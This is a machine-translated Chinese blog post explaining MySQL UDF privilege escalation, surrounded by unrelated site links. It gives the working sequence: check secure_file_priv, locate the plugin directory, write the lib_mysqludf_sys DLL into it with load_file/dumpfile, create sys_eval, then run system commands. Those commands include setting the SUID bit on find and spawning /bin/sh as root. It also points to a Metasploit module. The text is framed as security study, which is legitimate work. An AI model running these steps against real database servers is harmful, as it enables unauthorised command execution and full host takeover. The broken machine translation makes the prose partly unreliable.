当前位置:网站首页>[try to hack] UDF raises rights
[try to hack] UDF raises rights
2022-07-28 12:16:00 【Hua Weiyun】
Blog home page : Happy star The blog home page of
Series column :Try to Hack
Welcome to focus on the likes collection ️ Leaving a message.
Starting time :2022 year 7 month 11 Japan
The author's level is very limited , If an error is found , Please let me know , thank !
A lot of content comes from This article and This article
@toc
UDF sketch
UDF(Userdefined function) Can be translated into user-defined functions , It as a mysql An extended interface for , It can be for mysql Add some functions . such as mysql Some functions do not , I use it. UDF Add some functions , Then I can be in mysql This function is used in .
Premise ;
know mysql User name and password , And you can log in remotely
mysql Have permission to write to file , namely secure_file_priv The value of is empty .
mysql Whether there is permission to write to the file
secure_file_priv It's to limit load dumpfile、into outfile、load_file() Which directory is the function in 1) When secure_file_priv The value of is NULL , Said restrictions mysqld Not allowed to import | export , There is no way to raise the right at this time
2) When secure_file_priv The value of is /tmp/ , Said restrictions mysqld Import of | Exports can only occur in /tmp/ Under the table of contents , Right cannot be raised at this time
3) When secure_file_priv Where there is no specific value , Said is wrong mysqld Import of | Export to limit , Right can be raised at this time !
show global variables like '%secure%';
Upload UDF Dynamic link library file
Dynamic link library is a way to realize the concept of shared function library ,== stay windows In the environment, the suffix is .dll, stay linux In the environment, the suffix is .so== . We will put this file in a specific directory , This file contains some functions that execute system commands
1.Mysql The version is greater than 5.1,udf.dll Documents must be placed in MySQL The installation directory \lib\plugin Under the folder .(plugin The folder does not exist by default , Need to create ).
2.Mysql Version less than 5.1:
If it is win 2000 Server for , We need to udf.dll Import file to C:\Windows\udf.dll Next .
If it is win2003 The server , We will udf.dll The file is exported in C:\Windows\udf.dll Next .
select version(); see mysql edition select @@basedir; get mysql The installation directory 
show variables like 'plugin%'; // Just use this command 
Get the current database and operating system architecture ( Different operating systems 、 Operating system bits , Different dynamic link libraries are needed )select @@version_compile_os, @@version_compile_machine;
Dynamic link library acquisition (sqlmap and msf There are ):
msf stay /usr/share/metasploit-framework/data/exploits/mysql/
take dll The file is written to plugin in
select hex(load_file('D:\\lib_mysqludf_sys64.dll')) into dumpfile 'E:\\mysql-5.7.24-winx64\\lib\\plugin\\udf.dll';# here windows The next directory structure needs to be escaped and double written Create a custom function
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';View the created sys_eval function
select * from mysql.func where name = 'sys_eval'; Use system commands
select sys_eval('whoami'); select sys_eval('chmod u+s /usr/bin/find'); // to find Give orders to suid jurisdiction Reuse suid Just ask for the right find . -exec /bin/sh \;
Use MSF Medium exploit/multi/mysql/mysql_udf_payload Modules can also do UDF Raise the right . see This article
边栏推荐
- ViewPager2+Fragment
- Google Earth engine (GEE) -- problems in the use of coordinate projection and reduceresolution functions in image downscaling
- Distributed system (III) construction of distributed transaction service
- PHP获取本周所有日期或者最近七天所有日期
- Unity中使用UnityWebRequest进行网络和本地图片加载
- Specific functions of some multi parameter functions
- Saltstack command injection vulnerability analysis (cve-2020-16846)
- 社区点赞业务缓存设计优化探索
- 缺少指令集umi2 怎么办?ptk方式安装无法进行
- Zhou Hongyi talks about Internet thinking: users, not customers
猜你喜欢

IRBuilder

Saltstack command injection vulnerability analysis (cve-2020-16846)

Modify the running container port mapping
![Opencv notes sorting [Hough transform]](/img/80/8f5b0d7e1c5adc39cb5404dcdb1b11.png)
Opencv notes sorting [Hough transform]

游戏流程与底层实现 逐步完成

Huawei releases harmonyos 3 and all scene new products, and the smart experience goes further

Upgrading of computing power under the coordination of software and hardware, redefining productivity

Consumer installation and configuration

Know the optical fiber interface and supporting optical fiber cable of can optical fiber converter in fire alarm networking

直接插入排序与希尔排序
随机推荐
Modify the running container port mapping
Unitywebrequest is used in unity to load network and local pictures
Unity encountered a pitfall and the AB package failed to unload
Launcher sample code
Solve the PHP prompt warning: division by zero in error
Huawei releases harmonyos 3 and all scene new products, and the smart experience goes further
Alexnet - paper analysis and reproduction
【Try to Hack】AT、SC、PS命令提权
The principle and use of the wrap file of tolua
2022.07.10 summer training personal qualifying (V)
Great! Jd.com developed the highly available website construction technology PDF recommended by the first brother. Prepare the water and chew it slowly
Full analysis of seven classical regression analysis methods
要想组建敏捷团队,这些方法不可少
PHP ⽉ the simplest way to add and subtract ⽅
15. User web layer services (III)
太赞了!京东研发一哥力荐的高可用网站构建技术PDF,备好水,慢慢啃
ES6 knowledge points supplement
华为发布HarmonyOS 3及全场景新品,智慧体验更进一步
IRBuilder
Laravel之缓存